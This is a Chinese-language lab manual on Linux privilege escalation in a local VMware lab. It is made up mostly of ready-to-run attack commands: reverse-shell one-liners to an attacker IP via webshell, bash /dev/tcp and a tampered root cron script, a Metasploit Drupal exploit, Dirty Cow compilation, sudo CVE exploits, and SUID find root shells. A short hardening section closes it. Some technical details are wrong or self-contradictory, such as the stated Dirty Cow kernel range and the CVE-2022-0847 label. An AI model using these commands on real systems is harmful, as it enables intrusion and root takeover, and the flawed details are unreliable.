Linux提权完整实验手册:从反弹Shell到Root权限
法律安全警示:依据《中华人民共和国网络安全法》,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。本文档内容仅用于网络安全合规学习、企业内部安全运维、授权渗透测试场景,严禁用于未授权的非法攻击行为。
整理了这份笔记,以供复盘和学习交流之用。
一、实验环境与前置基础
本次实验全部在本地虚拟化环境中完成,不涉及任何真实互联网资产。攻击机使用Windows宿主机(IP:192.168.198.1)与Kali 2023(作为辅助攻击机),靶机使用Kali 2020(用于测试反弹Shell及基础命令)以及Lampiao脏牛专属靶机(Vulnhub靶场,内核版本4.4.0-31-generic)。所有操作均在VMware虚拟网络下进行,确保网络互通。
默认网站根目录:Apache为/var/www/html,Nginx为/usr/share/nginx/html。实验前请确认Apache服务已启动,并将木马文件(如hao.php)放置于网站根目录。
1.1 12类Linux命令速查
进入正式实验前,先复习一下常用的Linux命令。以下命令按功能分类整理,覆盖系统信息、文件操作、进程管理、用户账户、网络服务等场景,是Linux提权过程中最常用的指令集合。
| 分类 | 命令/示例 | 说明 |
|---|---|---|
| 系统信息查看 | uname -a cat /etc/issue cat /etc/*-release date whoami who w last lastlog | 内核版本、发行版、当前用户、登录记录等 |
| 文件目录操作 | dir / ls -al pwd cd / cd .. cat 文件名 / cat >abc.txt cp / mv / rm mkdir / rmdir chmod grep diff / find | 列出、切换、创建、复制、移动、删除、权限修改、文本搜索、文件比较与查找 |
| 用户账户管理 | cat /etc/passwd cat /etc/shadow useradd groups passwd grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' | 查看所有用户、密码(需root)、添加用户、查看组、改密码、列出超级用户 |
| 进程控制 | ps kill | 查看进程状态、终止进程 |
| 程序编译 | gcc | 编译C语言源码,常用于编译提权EXP |
| 权限转换 | su | 切换用户身份 |
| 网络服务 | telnet IP ftp | 远程连接、文件传输 |
| 历史命令 | history | 查看当前用户执行过的命令记录 |
| 文件查看 | more | 分页查看文本文件 |
| 压缩解压 | (未列,但常用tar/gzip) | 打包、压缩、解压 |
| 程序安装 | apt / yum | 包管理工具 |
| 其他 | (补充:netstat、ss、nmap) | 网络连接、端口监听、扫描 |
二、反弹Shell:交互式Shell与WebShell的本质区别
在Linux提权的攻击链中,反弹Shell是承上启下的关键环节。WebShell(如PHP木马)只能以非交互方式执行命令,每次执行都会启动一个新进程,环境变量无法保持,且无法运行需要终端交互的程序(如vim、top、提权脚本)。而交互式Shell通过建立TCP长连接,将目标主机的标准输入/输出/错误全部重定向到攻击机,从而获得完整的命令行控制权。
核心区别:WebShell是"命令执行器",交互式Shell是"终端仿真器"。绝大多数内核漏洞利用程序(如脏牛)和Sudo漏洞EXP都必须在交互式Shell中运行,否则会因无法处理交互提示或信号而失败。
2.1 /bin/sh 与 /bin/bash 的差异
在Debian/Kali系统中,/bin/sh默认指向dash(轻量级POSIX解释器),而非bash。dash不支持/dev/tcp网络重定向、数组、高级重定向语法等bash扩展特性。当通过WebShell执行命令时,系统默认使用/bin/sh -c来解析命令,因此直接执行bash -i >& /dev/tcp/...会报语法错误。正确的做法是使用Python、Perl等不依赖shell特性的方式,或者通过/bin/bash -c '...'强制指定解释器。
2.2 实验:通过WebShell(hao.php)反弹交互式Shell
步骤1:在Kali 2020靶机上搭建Apache网站
# 启动Apache服务 /etc/init.d/apache2 start # 或 service apache2 start # 查看状态 service apache2 status # 确认IP地址 ifconfig将hao.php木马文件放置于网站根目录/var/www/html下,通过浏览器访问http://靶机IP/hao.php确认木马可访问。
步骤2:攻击机(Windows)开启NC监听
在Windows宿主机上,进入nc.exe所在目录,执行:
nc -lvvp 12666步骤3:在WebShell中执行反弹
访问hao.php,进入WebShell管理界面,找到"反弹连接"功能,选择"Socket 反弹 - Linux"或"C/Perl反弹"模式,填写攻击机IP(192.168.198.1)和监听端口(12666),点击执行。此时NC监听窗口应收到连接,获得交互式Shell。
步骤4:Python升级为完整TTY
在获得的Shell中执行以下命令,解决Tab补全、命令历史等问题:
python -c "import pty; pty.spawn('/bin/bash')"2.3 纯Bash反弹(不依赖WebShell)
若目标主机可直接执行命令(如通过SSH),可使用以下标准反弹方式:
# 攻击机监听 nc -lvvp 8000 # 靶机执行 bash -i >& /dev/tcp/192.168.198.1/8000 0>&1该命令通过/dev/tcp虚拟设备建立TCP连接,将交互式bash的输入输出与网络套接字绑定。
三、内核漏洞提权:脏牛(Dirty Cow)完整复现
脏牛漏洞(CVE-2016-5195)是Linux内核中一个经典的竞争条件漏洞,影响内核版本2.6.22至3.9(脏牛1.0),以及部分4.x内核(脏牛2.0,CVE-2022-0847)。漏洞原理:当进程尝试修改只读内存页时,另一个进程并发访问该页,导致权限检查被绕过,攻击者可借此覆写任意文件(如/etc/passwd),从而创建root权限用户。
实验靶场:Lampiao(Vulnhub靶场,内核4.4.0-31-generic),下载地址:Lampião: 1 ~ VulnHub。靶机开放端口:22(SSH)、80(HTTP)、1898(Drupal)。
3.1 信息收集与MSF GetShell
使用nmap扫描网段定位靶机IP:
nmap 192.168.198.0/24 nmap -p- 192.168.198.155选择MSF模块的Rank依据
在Metasploit中搜索Drupal相关模块时,会显示每个模块的Rank(评级)。Rank从低到高依次为:manual(手动)、low、average、normal、good、great、excellent。在实验中,应优先选择Rank为excellent、great或good的模块,因为这些模块经过广泛验证,成功率和稳定性更高。例如,drupal_drupalgeddon2的Rank为excellent,是本次实验的首选。
msfconsole search drupal # 输出模块列表,观察Rank列 use exploit/unix/webapp/drupal_drupalgeddon2 show options set RHOSTS 192.168.198.155 set RPORT 1898 set LHOST 192.168.198.1 # 攻击机IP run获得会话后,进入交互式Shell:
shell python -c 'import pty; pty.spawn("/bin/bash")'3.2 搭建临时文件传输服务
在Windows宿主机上,打开CMD,进入存放dirty.c源码的目录,然后使用Python 3开启HTTP服务,将当前目录绑定到8080端口,使靶机能够通过HTTP下载文件。
python -m http.server 8080 --bind 192.168.198.1执行后,当前目录下的所有文件均可通过 http://192.168.198.1:8080/ 访问。若本机防火墙阻止,需临时放行8080端口。
此外,也可以使用棱角社区(forum.ywhack.com)提供的"文件下载命令生成工具",快速生成wget或curl指令,简化文件传输过程。
3.3 脏牛提权执行
查看内核版本确认漏洞存在:
uname -a # Linux lampiao 4.4.0-31-generic ...在攻击机上下载脏牛1.0源码(dirty.cpp),并放置于HTTP服务目录:
# 攻击机(Kali/Windows) wget https://www.exploit-db.com/raw/40847 -O Dirty.cpp # 将 Dirty.cpp 放在 HTTP 服务根目录 # 靶机(Lampiao) cd /tmp wget http://192.168.198.1:8080/Dirty.cpp .ccp的⽂件在Linux系统中⽆法直接利⽤,因此需要编译 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil 命令注释: -Wall ⼀般使⽤该选项,允许发出GCC能够提供的所有有⽤的警告 -pedantic 允许发出ANSI/ISO C标准所列出的所有警告 -O2编译器的优化选项的4个级别,-O0表⽰没有优化,-O1为缺省值,-O3优化级别最⾼ -std=c++11就是⽤按C++2011标准来编译的 -pthread 在Linux中要⽤到多线程时,需要链接pthread库 -o dcow gcc⽣成的⽬标⽂件,名字为dcow #执⾏编译好的脚本⽂件: ./dcow -s执行成功后,统会新增一个名为firefart的root权限用户,密码为123456。切换用户即可获得root:
whoami # root四、Sudo与SUID配置漏洞提权
本节将Sudo漏洞提权放在前面,因为Sudo漏洞(如CVE-2021-3156、CVE-2023-22809)在实战中利用更直接,影响范围更广。
4.1 Sudo漏洞提权(CVE-2021-3156)
CVE-2021-3156(Baron Samedit)是sudo程序的一个堆缓冲区溢出漏洞,影响sudo 1.8.2 ~ 1.8.31p2及1.9.0 ~ 1.9.5p1版本。利用该漏洞,任何本地普通用户无需密码即可获得root权限。
利用步骤:
sudo --version # 确认版本 mkdir exp && cd exp # 上传brute.sh, hax.c, lib.c, Makefile至该目录 make ./sudo-hax-me-a-sandwich 0 # 0对应Ubuntu 18.04 # 成功则输出 [+] bllng bllng! We got it! whoami # root4.2 CVE-2023-22809 Sudoedit权限绕过
CVE-2023-22809漏洞影响sudo 1.8.0 ~ 1.9.12p1版本,允许攻击者利用sudoedit的环境变量注入,绕过配置文件校验,编辑任意文件从而提权。利用方法类似:上传SUDO-EXP.sh脚本,赋予执行权限后运行。
chmod 777 SUDO-EXP.sh bash SUDO-EXP.sh # 提示输入y确认,提权至root4.3 SUID特殊权限提权
SUID(Set User ID)是一种特殊权限位,当可执行文件设置了SUID位(权限4000)后,任何用户执行该文件时,都会临时获得文件属主的权限。若属主为root,则普通用户可通过该程序执行root操作。常见高危SUID程序包括find、vim、bash、nmap等。
查找SUID文件:
find / -perm -4000 2>/dev/null以find命令为例,若其具有SUID权限:
touch test find test -exec whoami \; # 输出root find test -exec "/bin/bash" -p \; # 弹出root shell若出现权限受限,也就是我们说的提前到一半被卡住,可使用Python强制重置UID:
python -c "import os; os.setuid(0); os.setgid(0); os.system('/bin/bash')"五、计划任务Crontab反弹Shell提权
计划任务提权属于配置失误类漏洞。管理员有时会以root身份运行定时脚本,但若脚本或脚本所在目录权限为777,则普通用户可篡改脚本内容,注入反弹Shell命令,等待下一次定时触发即可获得root权限。
实验复现步骤(本地Kali模拟):
# 以root身份创建可写的定时脚本 sudo -i cat > /tmp/backup.sh << 'EOF' #!/bin/bash echo "Backup done" >> /tmp/log.txt EOF chmod 777 /tmp/backup.sh echo "* * * * * root /tmp/backup.sh" >> /etc/crontab exit # 普通用户身份注入反弹Shell echo 'bash -i >& /dev/tcp/192.168.198.1/4444 0>&1' >> /tmp/backup.sh # 攻击机监听 nc -lvvp 4444 # 等待最多60秒,即可收到root反弹Shell六、命令速查表
本速查表已包含本次实验涉及的所有关键命令,并且补充了Python HTTP服务启动、棱角社区工具提示等内容。
| 目的 | 命令示例 | 备注/原理 |
|---|---|---|
| 查看内核版本 | uname -a | 确认脏牛等漏洞是否适用 |
| 查找SUID文件 | find / -perm -4000 2>/dev/null | 寻找可提权的二进制程序 |
| 反弹Shell(bash) | bash -i >& /dev/tcp/IP/PORT 0>&1 | 需要目标系统使用bash |
| 反弹Shell(Python) | python -c "import socket,subprocess,os; ..." | 通用,不依赖shell特性 |
| 启动Python HTTP服务 | python -m http.server 8080 --bind IP | 用于靶机下载文件,也可使用棱角社区工具生成wget/curl命令 |
| 脏牛提权编译 | gcc -pthread dirty.c -o dirty -lcrypt | 编译后执行 ./dirty 密码 |
| CVE-2021-3156利用 | ./sudo-hax-me-a-sandwich 0 | 需匹配目标系统编号 |
| CVE-2023-22809利用 | bash SUDO-EXP.sh | 确认sudo版本在1.8.0~1.9.12p1 |
| find提权 | find test -exec "/bin/bash" -p \; | -p参数保留SUID权限 |
| 计划任务篡改 | echo '反弹命令' >> /path/script.sh | 前提:脚本可写且以root运行 |
| 强制重置UID | python -c "import os; os.setuid(0); os.system('/bin/bash')" | 解决部分提权后权限受限问题 |
七、综合防御与安全开发思考
从安全防御的角度,本次实验中的每种提权手法都有对应的加固措施:
内核层面:定期更新Linux内核,及时修复脏牛等本地提权漏洞;限制/dev/mem访问,开启KASLR等内核加固特性。
文件权限层面:严禁为find、vim、bash等工具设置SUID权限;定期巡检系统中所有SUID文件(find / -perm -4000),移除不必要的SUID位;定时任务脚本及所在目录应设置为700,仅允许root读写执行。
Sudo层面:升级sudo至最新稳定版(至少1.9.12p2以上);严格管控/etc/sudoers,禁止普通用户拥有ALL权限;限制sudo可执行的命令白名单,禁止通过sudo调用编辑器或shell。
Web安全层面:网站运行用户应使用低权限账号(如www-data),禁止以root启动Web服务;严格过滤上传文件,防止一句话木马等恶意脚本被上传执行。
监控与审计:开启系统审计日志(auditd),监控SUID文件变更、sudo调用、计划任务修改等异常行为;定期审查/var/log/syslog中的Cron执行记录。
八、拓展阅读与留言
以下为本文档涉及的所有外部拓展链接:
脏牛2.0漏洞利用https://www.cnblogs.com/nanhe7/articles/15983002.html
CVE-2023-22809 Sudo漏洞详解https://blog.csdn.net/m0_46317063/article/details/131062002
Sudo各类提权方法合集https://mp.weixin.qq.com/s/wl714G1TRqhqE6KOOnEJPg
SUID提权全工具利用https://pentestlab.blog/2017/09/25/suid-executables/
Linux全套提权总结文档https://www.cnblogs.com/hellobao/articles/17259849.html
反弹Shell在线生成工具https://forum.ywhack.com/shell.php
反弹Shell教程博客1https://blog.csdn.net/weixin_53747497/article/details/131692315
反弹Shell教程博客2http://www.360doc.com/content/22/0918/19/77981587_1048422017.shtml
反弹Shell教程博客3https://blog.51cto.com/u_12343119/5851134
Exploit-DB漏洞详情页EDB-19256https://www.exploit-db.com/exploits/19256
Linux内核漏洞EXP开源仓库https://github.com/SecWiki/linux-kernel-exploits
Sudo漏洞靶场搭建教程https://blog.csdn.net/qq_40280673/article/details/134551826
SUID权限基础详解https://blog.51cto.com/rachy/1882559
SUID/SGID/Sticky三特殊权限讲解https://blog.51cto.com/chomper/1684724
本文档仅供网络安全学习与授权测试参考,请勿用于非法活动。欢迎留言交流实验心得与问题。
